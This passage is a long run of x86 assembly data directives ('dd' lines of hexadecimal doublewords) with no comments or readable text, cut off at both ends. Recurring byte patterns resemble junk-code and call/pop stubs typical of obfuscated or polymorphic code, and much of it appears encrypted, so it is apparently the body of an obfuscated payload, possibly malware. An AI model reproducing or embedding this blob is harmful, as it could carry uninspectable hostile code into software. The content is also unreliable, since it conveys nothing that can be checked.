6A060EA8h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 8376C351h dd 590AFDB6h, 8B66603Eh, 0C9BD89C7h, 61060B0Ah, 0B8D95FFh dd 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0F8396DC3h, 0CE9h, 187D9600h, 0F69DE8A0h dd 0F988298Eh, 0F1BD8362h, 2060B17h, 6F840Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 94BF1CC3h, 67B5A9B2h, 0DF814679h, 6903E843h, 2EC5858Bh dd 6A060Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 0B39D16C3h, 0C63Dh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 26C35141h, 0B985C747h, 60B06h dd 0E8000000h, 8, 1250E9ACh, 0B60C2ABh, 0E91EB75Bh, 0FFFFF2A5h dd 16219589h, 0C18B060Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 0DAC35646h, 0B71C5848h, 0B026C4D8h, 719D89F5h dd 0EB060B1Fh, 0E784F04h, 5C5E905h, 0C2D40000h, 68BF688Bh dd 1E6D9A59h, 0CFD73023h, 7E8263F0h, 3E259C47h, 79FAC5DFh dd 0A94A778Ch, 0C61D287Ch, 72E1DC29h, 0BFCB6389h, 30C58402h dd 0D5DEDB41h, 5F231E6Dh, 1D6D198Dh, 98E2C394h, 0F4C3D5A4h dd 277D2C90h, 0D92ADB18h, 64B118ECh, 0E134E569h, 0E246CD0h dd 7D8875FFh, 1D5632BAh, 0E1D9C394h, 99EA638Dh, 4E56B7ACh dd 8BFF7781h, 1CC3941Dh, 1D5A2E26h, 0E2DC394h, 683A1082h dd 574BAF2Dh, 0A8001885h, 0BA9E625Fh, 709EF246h, 370E16F7h dd 77139B25h, 0F83C6BF9h, 3DEC6482h, 0C3872FE4h, 443C6BF9h dd 0C7B61A7Eh, 4D3C80BFh, 0D4850934h, 0CD01F5C0h, 971DA8C8h dd 6BF96B1Fh, 0A286FC3Ch, 234BD597h, 3C6BF9A7h, 15E2DF26h dd 24A1032Dh, 459EA9FFh, 9E625FA8h, 6BF93756h, 806DFF3Ch dd 0EA8467Bh, 59EB75FFh, 6BF9B1D5h, 4CC363Ch, 3C6BF940h dd 0EB55F3C7h, 3240D542h, 9E6Fh, 710FD00h, 0DE261CCAh dd 2D186DD5h, 0BD016559h, 0D63230AFh, 0D933B28Ah, 0C825A72Fh dd 63E1C394h, 0EC506DB2h, 0F8DCEB3Dh, 0D359544Eh, 0C8592D41h dd 412EC394h, 58210538h, 65D7714Ch, 3241C4C4h, 1EDh, 50BD0B00h dd 4D817548h, 0B55BAAA3h, 47A33A01h, 0D6BA9E1Fh, 3B211067h dd 6482BFCAh, 0DEE53DECh, 0BF92E10Ch, 271E62CBh, 0ED1B7F53h dd 803F2D65h, 0F99CA43h, 0EA846C2h, 7D8875FFh, 5CABA24Ch dd 0A588FFB6h, 0B6AAF24Bh, 0E42179A4h, 94270440h, 53B78BC3h dd 0C0D532B5h, 0BD966EF5h, 80BDC233h, 941D0440h, 99B78BC3h dd 76A76CB4h, 0B0D41C21h, 37C3941Dh, 262A34C3h, 0E827898Ah dd 24F966F4h, 4931B03Bh, 0A291E950h, 0CADD8C84h, 0A128156Ah dd 0B0947857h, 0F40EE85Ch, 350810F9h, 4E3DA22Eh, 0A68C5E7Ah dd 8408454Eh, 4BC26C40h, 0CEBF033Eh, 90F478C3h, 17C3947Fh dd 0C67BCF23h, 39D3D2h, 29324155h, 9Bh, 0D6DC1C43h, 8FAD9F0h dd 2EE196CFh, 23CDCF9Eh, 6EDADE3Dh, 675B2F26h, 0C3CEBF03h dd 46533A8Eh, 0CDD6870Bh, 0C0FF09F0h, 8F1E147Ch, 0C9993F3h dd 0B1A29DE7h, 8D714C54h, 1A6AC6DCh, 1D3551D5h, 40BAC394h dd 0D5A4986Ch, 2C90F4C3h, 867A8B29h, 3240F357h, 0D7B33B45h dd 58C39417h, 633DC462h, 0DB000000h, 754850BDh, 172E72DBh dd 0E70F99A3h, 0C3941DE3h, 1DF01E64h, 0B12E3C0Bh, 0A8717773h dd 0D931DF0Ch, 8B119CC4h, 493D041Ah, 191F6B83h, 0AA90C394h dd 6FB598B6h, 0DE758350h, 0DE16FAD7h, 0C3941DAFh, 1BEFE62Eh dd 0E66A67B2h, 1DB4D054h, 0C73BC394h, 0DCAE3F79h, 0A55F6E24h dd 3240F084h, 1ADh, 0D3DE4B00h, 56A30AFEh, 2E6A977Bh, 162B769Fh dd 700B91CDh, 0FC7742EAh, 82F8BD9Eh, 22A6CE58h, 0A53A60C0h dd 0EE5FB35Dh, 5A4BA8A5h, 58887C49h, 3A60C02Ah, 23C8C51Fh dd 8F78FBD6h, 6DC5DA7Ah, 45C92D18h, 0F0592D01h, 7826AAA7h dd 0F825AF3Eh, 0D62A9EA3h, 60C0D538h, 1EC53914h, 0FE146392h dd 204F8D5Dh, 0E76B4F9Dh, 729B85A3h, 5F2C35A2h, 135h, 211EBDB9h dd 4B77B336h, 207C40EEh, 3C5DD11Bh, 0DCBD9E42h, 92AEDA52h dd 0D9213A61h, 2A7FD02Fh, 0E6573B1Fh, 0D1EC359Dh, 2E35296Dh dd 3599B4C1h, 90ADF627h, 0CF3EE82Ch, 523B8FBAh, 0D7860A47h dd 1401F5C4h, 837D119Ch, 8A9F0481h, 3B40ADBFh, 0FD0FE806h dd 41350810h, 0D079E30Dh, 0F92C367Fh, 48h, 770C6F07h, 1D5541E5h dd 0E0DAC394h, 1DB0D41Ch, 88A2C394h, 1656257Dh, 77813DEDh dd 0C3B7BF58h, 0E408D236h, 0C3947BB0h, 74D82BDAh, 17311520h dd 0D4B03438h, 5BC3947Bh, 21D00367h, 91h, 8FC6CE3Fh, 3329C73Bh dd 0E4760D6Fh, 9F052140h, 0FF8FAEBDh, 1CB7B5AFh, 0EC7EC226h dd 2CDAF901h, 7AF9D421h, 9F4D788Dh, 0A658EE20h, 729C9C45h dd 9409569Eh, 0D0003A60h, 0EEDB2CD5h, 0C8532975h, 0B7FB8A22h dd 0F8744470h, 70751074h, 4FA39730h, 340112FBh, 0CEDFD540h dd 0ED7F0498h, 0D434224Eh, 0CE02F6C3h, 2504C631h, 0BCCD610Bh dd 314E6014h, 4D39AD3Fh, 0C22E4018h dd 181C68F8h, 74932E40h, 61C5BDE7h, 0BB44B8DBh, 0B331E4A3h dd 6DF6EA9Ah, 4B50BD97h, 0C7958276h, 4BDAEDA3h, 6B33DD31h dd 811FC11h, 0C50D4135h, 0C3940781h, 0A3412146h, 3483A27Ch dd 8B7F425Bh, 0ED7F53B7h, 84B20879h, 0C9BD85BDh, 5AAF1760h dd 370575B4h, 0AD81FC52h, 5281E5D9h, 0E5D427D6h, 88BFF77h dd 261C3A64h, 50F00508h, 0A2160A47h, 79E46D82h, 0B2336939h dd 0D60D384Dh, 6DD1EC39h, 0EB5F66BCh, 52BB4A4Eh, 54E67441h dd 0A526A2CAh, 51A93545h, 45A5F591h, 0E6007A35h, 4C97E00Dh dd 45A5ACD8h, 0F0042335h, 0C83ED4AEh, 996D41A5h, 326h dd 9C844E00h, 9FDD4DEh, 967A57A0h, 12E6D127h, 9B6F52ABh dd 63D7EE32h, 0EB5F66BAh, 71C5FC02h, 0FC407988h, 7BCFFA0Dh dd 0E28952CFh, 4C281h, 0EA830000h, 24148704h, 2434895Ch dd 2FF268h, 24148900h, 1F6368h, 240C8900h, 16976851h, 0C8B1110h dd 4C48324h, 88C18149h, 8148DC5Dh, 0FC6B14F1h, 59CA895Fh dd 1CFD68h, 24248900h, 4240481h, 59000000h, 4EC81h, 14890000h dd 8418F24h, 592434FFh, 4C481h, 148B0000h, 0E7895724h dd 4C781h, 0C7810000h, 4, 5C243C87h, 0FB5A6EE9h, 75CC1AFFh dd 0B80FA743h, 6102449h, 0E0FFC503h, 1700BC92h, 9A99837h dd 1A80CFB1h, 12FE6FC3h, 5244D270h, 7B5BB138h, 6DC4C829h dd 20CC1602h, 652D4EB1h, 3C658C20h, 4CB720B9h, 3EE035F1h dd 0A8A7A16h, 47C41AA1h, 7A798AF6h, 559BE1BAh, 69EB2700h dd 45D2457Ch, 28A9858Dh, 0BB66060Bh, 0E9907F1Dh, 0Fh, 3174E8B1h dd 0CBF4431h, 0D930FB37h, 5071E2F6h, 50006A90h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 6A50B8h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 93C35141h, 2DE9B589h dd 810F060Bh, 6, 30DBD8Bh, 6A060Bh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 0EBC35545h, 9D2798D8h, 317CD12Bh dd 0B0EB5BDh, 3840F06h, 0F000000h, 858DFFB7h, 610270Fh dd 23F78166h, 5C08332h, 89BD8Bh, 0BF50060Bh, 767E8381h dd 6A240489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 0D954C355h, 0F5C6842h, 981686C8h dd 1D19D09h, 6A060Bh, 0E94BCB80h, 0Eh, 95788B1Bh, 0A6685C33h dd 66D2FF42h, 6AB64Dh, 0C690BB66h, 9E9h, 28002600h, 0BA99B7B3h dd 95FFF8D9h, 60B2F21h, 18B0Fh, 81F80000h, 610FCFh, 0B08D8D16h dd 6A060EA7h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 1C10C355h, 896F880Fh, 0B0689BDh dd 359D0B06h, 0FF060B13h, 0FDBD8BD1h, 83060B03h, 0B0B19BDh dd 850F0106h, 7Fh, 0D858960h, 66060B06h, 97EBE281h, 6A026A61h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 0EB65C350h, 0BB669034h, 6050BAB6h, 0F525060h dd 60585A31h, 52506161h, 310F5A50h, 9061585Ah, 5E9h, 0F1B61F00h dd 95FFC295h, 60B0F15h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 2CC35343h, 0F5D5BB56h, 0CFBB59C0h, 0E963E567h dd 0DC3h, 0E8h, 0ED815D00h, 6102719h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 0C5C35343h, 0BD8BF98Bh, 60B240Dh dd 9293858Dh, 8531060Eh, 60B0671h, 0F98B6690h, 4402BB50h dd 0E9904BD2h, 12h, 0C32B5778h, 2942A032h, 5CDD6FD4h, 0AC372752h dd 0FF6479ADh, 35h, 79958900h, 64060B1Fh, 2589h, 0EB810000h dd 75D5EEDFh, 66D85FFh, 6A060Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 573ABDC3h, 91BD8B7Dh dd 6A060B24h, 759D8BFFh, 0FF060B2Eh, 0B12A9B5h, 95FFF506h dd 60B2411h, 109E9h, 198D8900h, 0B0060B06h, 1953100h, 0E6060B1Bh dd 0B70F5170h, 71E45FDBh, 0D9BAD781h, 613C299Dh, 0E4830Fh dd 0BD8B0000h, 60B0809h, 0BAC8B60Fh, 6, 15159D8Bh, 0EE9060Bh dd 27000000h, 0A37C97C4h, 778E1C41h, 0E4293222h, 1C18BB5h dd 0B1829BDh, 4E8C106h, 14D9D8Bh, 0F766060Bh, 8AC82BE2h dd 8AD18BF8h, 9CE9DCh, 85090000h, 60B1671h, 158DBD8Bh dd 858B060Bh, 4947554Ch, 21199D8Bh, 9E9060Bh, 53000000h dd 0A573854Eh, 9FBE3693h, 0E907C083h, 13h, 0ACCBB840h dd 48F295E1h, 0E8F01160h, 855EA9CDh, 8377E4C3h, 0B50900C0h dd 60B1169h, 2B61B589h, 0D03B060Bh, 13830Fh, 9D8B0000h dd 60B0AD1h, 39E9h, 0A597BB00h, 8B665D29h, 0FF8D8BDAh dd 8AFFFFFFh, 1E183FEh, 20840Fh, 9D290000h, 60B010Dh, 0FFFFA583h dd 89FEFFFFh, 47554C95h, 0BD0B5049h, 60B0DEDh, 0E95Fh dd 0B58D0000h, 60F9EEEh, 1609BD89h, 6A060Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 9C35141h, 0AA3CE9B0h dd 8DBD8BC5h, 0FF060B09h, 0B32DD95h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0EC51BDF6h dd 0E9AFAAEEh, 0Fh, 0FCFB8351h, 44C48616h, 30C064A0h, 8BC464D4h dd 0E48B9F9h, 83F90000h, 810FFCE1h, 6, 29FD9D89h, 6AFC060Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 6997C353h, 7F887F0Fh, 8956FF0Bh, 0B31958Dh dd 0C02B5F06h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 7AC35747h, 5204378Fh, 0C8B7D22Bh, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 6AD98Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0D554A1C3h, 1B91BD8Bh, 9D8B060Bh dd 60B17B9h, 5E8h, 8260C00h, 13E9713Dh, 0 dd 5FD45960h, 18EFF2B2h, 4D765882h, 2A41A9C6h, 0D5FC8D9h dd 88h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h dd 0EAC35141h, 899509h, 958B060Bh, 60B174Dh, 5D9D0360h dd 0FC060B03h, 198D8B61h, 6A060B01h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0B010C357h dd 0E4F51CB6h, 506CF2B1h, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 0B5E3A968h, 292D9D09h, 6A060Bh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 21556EC3h, 0E86E5AA9h, 0Dh, 0FF140C4Eh, 56C999F4h, 31297950h dd 11E9ACh, 0C2730000h, 469A69D8h, 0B46FF5C9h, 0FAACEE16h dd 5F4952D6h, 13E9h, 0B8932700h, 0A1F0C024h, 87602E08h dd 7CBA3A0Eh, 79723574h, 29BDBD83h, 0F00060Bh, 4A84h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 972FFD8Dh, 0B8h, 85BD8B00h, 0F060B2Eh, 688h, 719D2B00h dd 8D060B18h, 0B4DD78Dh, 8DBD8B06h, 0FF060B03h, 699D8BE1h dd 83060B06h, 0B1009BDh, 840F0006h, 499h, 3860Fh, 8B660000h dd 9BD83FAh, 1060B10h, 49E840Fh, 8B660000h, 9BD83DAh, 3060B10h dd 458860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 60E99BC3h, 0F9D8B70Fh, 6AD98C66h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 91CEC351h, 1AC393E0h, 0B3D0AF09h, 4E1806Bh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 2CC35747h dd 7192B104h, 7D8D894Fh, 60060B02h, 8531F28Bh, 60B31B5h dd 0FC90A61h, 1B484h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 708B33CAh, 8BFB8B66h dd 0B1FADBDh, 7D858B06h, 8B060B31h, 0B2729BDh, 5810F06h dd 66000000h, 0AC28E781h, 6ED8533h, 6A060Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 73CAE9C3h dd 57A2A5E0h, 9E9h, 2CDF9000h, 0EAA00A4Ah, 8A0F5A78h, 3 dd 90FA8B66h, 0CE860h, 0FA990000h, 0E907DF31h, 0CF0F3969h dd 8E0F2F0Bh, 0 dd 0DE859h, 1D850000h, 83AE9C60h, 0D29258AEh, 66EFE4BBh dd 5A4F2BBFh, 83BF5061h, 9053F8A9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 0DFC35545h, 6CAAAD4Fh, 0E9ACAECFh dd 0Ah, 2BD86438h, 8C52AB02h, 6AF20Ah, 68DEBF0Fh, 0AB3FB40Eh dd 0F18B6660h, 24048161h, 54DF4FF1h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 41C35242h, 6522F0EBh, 7A5E04C3h dd 6820Fh, 9D890000h, 60B32B9h, 3D195FFh, 0FE9060Bh, 71000000h dd 0D2EC7567h, 0A6FE6645h, 5603BD08h, 8589B4DAh, 60EA81Dh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 1EC35040h dd 0A485B9CCh, 1633BAEh, 0B012DB5h, 1D5E906h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 0F43875C3h, 4A2CDF90h, 0E8EAA00Ah, 0Bh, 6C7ECAA2h, 0C17B0C43h dd 0F5152A55h, 15858B5Fh, 89060EA8h, 0B15B59Dh, 61B58906h dd 0C7060B11h, 1800h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 3D1FADA2h, 2DC5FFBBh dd 19B58B0Eh, 53060EA8h, 1681BD8Bh, 665F060Bh, 8B45BFBFh dd 0B06E185h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 0E19036DDh, 17B3BB66h, 6A0689h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 1CAF05C3h, 6F6FF67Ch, 6048294Eh, 5918501h, 0B531060Bh dd 60B02C9h, 7D858B61h, 0F060B31h, 4689DBBFh, 52006A04h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0FA8CA1Ch, 96D9BF0Fh, 0C970BE60h, 0FCBA1D91h, 6106880Ch dd 6A9650h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 1B990C3h, 177DB589h, 0B5FF060Bh, 60EA815h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 11C35747h dd 2E68461Eh, 0F8EA379h, 0A89h, 52506000h, 585A310Fh, 8161EE8Ah dd 8AD12404h, 6E9717Bh, 0F3000000h, 0E2099767h, 1D858D3Ah dd 6A060EA8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 223C355h, 5E850h, 0CAF90000h dd 8A601E63h, 4895FF9h, 0AD958924h, 0FF060B28h, 0B03D195h dd 0C19D8B06h, 61060B21h, 2F98D89h, 85C7060Bh, 60B1009h dd 3, 2A159D8Bh, 0BD83060Bh, 60EA81Dh, 5B840F00h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 8C90C353h, 0C9280640h, 10E9D0D7h, 52000000h dd 0CD20453Ch, 3EDEC2F1h, 0F5C71EA0h, 0E969D01Dh, 39h dd 1D01BB66h, 0CE8h, 927C400h, 747780D2h, 46F2F346h, 28D0FD1h dd 60000000h, 30505F61h, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 4D9589C0h, 6A060B1Ah, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 3F5EC355h, 6B59D89h, 0BD83060Bh, 60B1009h, 59850F03h dd 23000004h, 0B0B259Dh, 1DBD8306h, 60EA8h, 446840Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 4948A1C3h, 0A81DB5FFh, 78B3060Eh, 0BBD8509h, 95FF060Bh dd 60B083Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 0DBC35343h, 0BC7BF963h, 6870F8Fh, 1000000h, 0B202D9Dh dd 11B58B06h, 0B3060EA8h, 106C7EFh, 96000100h, 0CE860h dd 14C70000h, 0DEC14248h, 271E80E3h, 0B966D633h, 505A068Dh dd 5BFE8B66h, 5E95061h, 68000000h, 0C956C01Ah, 56006A96h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0E8682E40h, 10h, 9BEFCB69h, 8C0CC17h, 41517807h, 7E70D902h dd 3D5BD29h, 0FF5F060Bh, 0EA81DB5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 95FFB26Ch dd 60B0641h, 0BE8h, 89DAFD00h, 0FC4E98B9h, 2362517Bh, 5FD88B66h dd 0ED4DBB66h, 0A811B58Bh, 6A060Eh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 9B2384C3h dd 0A435DE3Bh, 0BB66319Eh, 0FE8B9696h, 121D858Bh, 6A060Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 51686DC3h, 86892AD1h, 0C4h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 0C0C35747h, 71B0E1E1h, 0BD5F059Dh dd 4D958B40h, 6A060B17h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0E993C352h, 0Bh, 0DE181BA8h dd 8ACBAEF4h, 8320BA96h, 800F04C2h, 6, 15A1BD8Bh, 9E8060Bh dd 2000000h, 0C8DC49AEh, 901AD84Dh, 2311BD23h, 895F060Bh dd 0B70F2050h, 0EE858DD9h, 0B3060EBAh, 0B886896Ch, 66000000h dd 13BDF381h, 9DBB006Ah, 0FF54AB6Dh, 0EA81DB5h, 0DE806h dd 3A2A0000h, 3A66391Eh, 0FC5D66A2h, 5B9F3790h, 0F1595FFh dd 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0B5891EC3h, 60B0095h, 0D49CBB50h, 34897F79h dd 0B5FFFC24h, 60EA81Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 0CEC35343h, 607EA68Ch, 9FB96660h, 0DDBA618Eh dd 61697135h, 0F595FFh, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 0C6DAB8C3h, 0BF0F5738h dd 0BD835FFEh, 60B2191h, 53840F00h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 2A8CC351h, 9E866h, 6FD30000h, 0FD216162h, 809B1F1Bh dd 965B3ED7h, 0EFBB6652h, 0E8505F21h, 0Dh, 2418313Dh, 0AEB67220h dd 0F2C95D75h, 86BCBB54h, 965F3692h, 0B5FFF98Bh, 60EA81Dh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0E4C35040h dd 9D89B8D4h, 60B2B39h, 128195FFh, 6A060Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 4D5EE1C3h dd 0E960F89Eh, 0Eh, 0F5806051h, 0DEA50460h, 0A9035EFFh dd 0B5FF35E4h, 60EA81Dh, 0FFD98B66h, 0B0B8D95h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 57EB9E7Eh, 0BD83F544h, 60B17F1h, 6E840F02h, 81000000h dd 316433D3h, 0C5858B63h, 6A060B2Eh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 385BC351h dd 8E0AA0EAh, 29D58D89h, 8060060Bh, 8B661FEDh, 0C661CEh dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 958EEA26h, 60432FE9h, 3800Fh, 8B660000h dd 0D6B70FCFh, 0B985C761h, 60B06h, 0F000000h dd 1789h, 12E900h, 3B4D0000h, 0B760FE18h, 4BC4ABBCh, 95D2DC6Bh dd 0D79705A5h, 0FFF2E6E9h, 66C18BFFh, 0E80DC1BFh, 7, 0CE7F25A9h dd 66178BE8h, 5B8B3FBAh, 29036DBFh, 29C38158h, 0E9000060h dd 0Bh, 0DC9593B2h, 10402654h, 68B25458h, 17DFh, 0A1858960h dd 61060B2Ah, 49BD3159h, 0FF060B0Fh, 6840F33h, 89000000h dd 0B32A985h, 0F38B5806h, 71B8F081h, 0B58B5FD9h, 60B29B9h dd 3A5BC081h, 8A0F7E0Dh, 6, 1779BD8Bh, 0C081060Bh, 4477B11h dd 4AEBBE66h, 259D2950h, 8F060B21h, 0EE903h, 6C180000h dd 5B180E15h, 0A49B4E31h, 0F058ACF4h, 4694EB81h, 8B665A48h dd 90C381D6h, 815A4846h, 0F6D380EEh, 850F497Dh, 0FFFFFF8Fh dd 0AE28166h, 598D8D3Fh, 6A061036h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0E8ADC357h dd 9, 17184A0Ah, 497BC23h, 49958932h, 5F060B01h, 174D8D89h dd 8B66060Bh, 1985C7FAh, 4C060B01h, 6A000059h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 91F7C351h, 0DC83E48Fh, 38A0FCAh, 66000000h, 85C7C78Bh dd 60B1009h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 89C35747h dd 0C9B5FF88h, 0FF060B19h, 0B0AC595h, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 6A960Eh, 32DD95FFh, 0C08B060Bh, 8766DEBh, 0EC96A46Dh dd 26BFDEE5h, 0D883D89h, 15C9267Fh, 0DC6535F9h, 14D11384h dd 0B5E88862h, 2BD531D0h, 0A49A1749h, 5E96F615h, 9AB44394h dd 7684D123h, 0A21901D1h, 42F14D03h, 0E9EE9D90h, 0AFB2EA12h dd 1B59A143h, 7B5C14FBh, 0FE0BA0F1h, 614F6371h, 0DF3999C4h dd 32187F1Fh, 29A65137h, 0C3E1D250h, 112EDB20h, 6817D796h dd 8DDB16DBh, 10377C8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 685E42BFh, 68EFC268h dd 5BC780C3h, 174D8D89h, 85C7060Bh, 60B0119h, 70E0h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 10C35646h, 12F24723h dd 8B5FDE05h, 0B012D9Dh, 985C706h, 60B10h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 0E9E3C356h, 6, 1E94EB05h, 0B5FFD313h, 60B0105h, 95FF49B6h dd 60B0AC5h, 4F28166h, 0FF006A77h, 0B32DD95h, 0EBC08B06h dd 0FDAF4C2Ch, 0CE722809h, 0EBA5CC5h, 2D6DF3F7h, 5D3C0A1Eh dd 0D1DBB90Ah, 4C0E010Ch, 25392F7Fh, 7F08288Fh, 994CC8Bh dd 6C6D0051h, 33582018h, 3331C857h, 6D121001h, 47BB56C2h dd 77B30025h, 33290625h, 65740101h, 4EE1E2C2h, 3A81BAB2h dd 0EBB94637h, 0BF54E18Ah, 28F01D9h, 9B340F17h, 9EB60D05h dd 0BA320100h, 383C959Ch, 28FC307h, 33342B0Fh, 3343940Eh dd 33580801h, 3331EC57h, 6D120201h, 47BB5FC2h, 77B38425h dd 33294425h, 65742001h, 948591C2h, 359DC772h, 44E0852Ch dd 3C308DBEh, 33320083h, 56DB7901h, 59324000h, 30DA7101h dd 13321001h, 0BA6BCB58h, 0B236204Dh, 2E362645h, 72320101h dd 0CC564350h, 94655485h, 0CF3DF0D2h, 333217E9h, 662E1E01h dd 0A0673426h, 33368B0Eh, 8D540101h, 0A36C5E84h, 33324EE9h dd 9A332101h, 0CFC0B1FBh, 1314BCBEh, 0DB9936E5h, 3332020Ah dd 0B2F7448Ah, 19D658D6h, 0DB2C38EFh, 33322006h, 13F26428h dd 6C5BB0FFh, 0A3625F5Bh, 2B63BF88h, 323D070Ah, 59CCA44Dh dd 30DA1101h, 13322001h, 0BA6BD358h, 0B2362C4Dh, 2F362045h dd 72320201h, 1436C250h, 0FACE84C8h, 814B5A92h, 0F3B17802h dd 3BB9E52Dh, 7BB96EFDh, 0E4B962FDh, 50B8367h, 0A9B60EFEh dd 0DA328001h, 3332400Ch, 1D283649h, 0B856E9E3h, 898940B2h dd 0B0C08F92h, 33580BC0h, 3331E950h, 6A128001h, 7FBB19C2h dd 77B32425h, 332A1425h, 62730801h, 0B0559BC2h, 36DBE430h dd 98320101h, 3ECDA349h, 0AB2988Ah, 6EB72FE8h, 18321001h dd 3824ADB4h, 32738F07h, 0E2C18367h, 0B0FA028Ah, 335885C0h dd 3331A854h, 6E122001h, 5FBB4DC2h, 77B30C25h, 332A0025h dd 66770201h, 72AF54C2h, 8E396FD7h, 35394318h, 369FBD28h dd 0AB3160Ah, 0B8714391h, 3320810Eh, 843D0201h, 0E4BF8CFEh dd 8B348B4Ch, 33324002h, 0D2CDA9B7h, 728F9B60h, 0BE340306h dd 2305A9BCh, 84BF8F07h, 8B341138h, 32A00375h, 3693C532h dd 0FC19260Ah, 335820C0h, 3331C857h, 6D121001h, 47BB56C2h dd 77B30025h, 33290625h, 83740101h, 0A4F305E9h, 6AC08Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0E9E589C3h, 